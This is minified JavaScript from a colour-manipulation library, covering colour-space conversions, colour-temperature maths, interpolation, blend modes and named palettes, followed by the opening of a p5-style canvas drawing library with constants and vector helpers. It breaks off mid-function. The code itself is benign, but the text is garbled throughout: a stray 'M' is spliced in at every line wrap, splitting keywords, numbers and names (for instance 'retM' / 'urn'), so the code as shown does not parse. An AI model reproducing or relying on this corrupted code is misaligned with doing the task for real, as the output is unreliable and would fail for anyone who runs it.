=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
